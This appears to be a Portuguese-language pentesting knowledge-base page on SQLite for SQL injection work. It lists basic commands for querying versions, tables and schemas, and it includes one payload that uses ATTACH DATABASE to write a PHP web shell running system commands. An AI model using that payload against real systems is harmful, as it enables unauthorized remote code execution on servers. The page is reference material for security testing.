> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/injections/sql-injection/sqlite.md).

# SQLite

### Versão do SQLite

```bash
select sqlite_version();
```

###

### Acessando Arquivo Database

Caso tenho um arquivo com o database (por exemplo: database.db), podemos acessá-lo com o comando abaixo:

```bash
sqlite3 <file.db>
```

Ao acessar o arquivo com êxito, irá entrar em um terminal interativo, onde pode inserir os devidos comandos para acessar/manipular o bando de dados. Para ver o `help` do sqlite, utilize o seguinte comando:

```
.help
```

Utilize o comando `file <file.db>` para verificar se o arquivo é um Sqlite.

É possível executar um comando/query sem precisar abrir o modo interativo do sqlite. No exemplo abaixo estamos utilizando o comando `.dump` (que server para fazer um dump do banco de dados já na tela), mas pode ser substituído por qualquer outro

```bash
sqlite3 <file.db> '.dump'
```

### Criando Database como PHP

O objetivo desse comando é criar um database como extensão PHP e depois executá-lo

```bash
ATTACH DATABASE '<new_file.php>' as newtab; CREATE TABLE newtab.'<?php system("<command>")?>' (new_field TEXT);
```

### Extraindo Nome das Tabelas

Utilize um dos comandos abaixo

```bash
.tables
.table
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```

###

### Extraindo Colunas da Tabela

```bash
.schema <table>
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='<table_name>'
```

####

### Sites

```bash
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/SQLite Injection.md
```
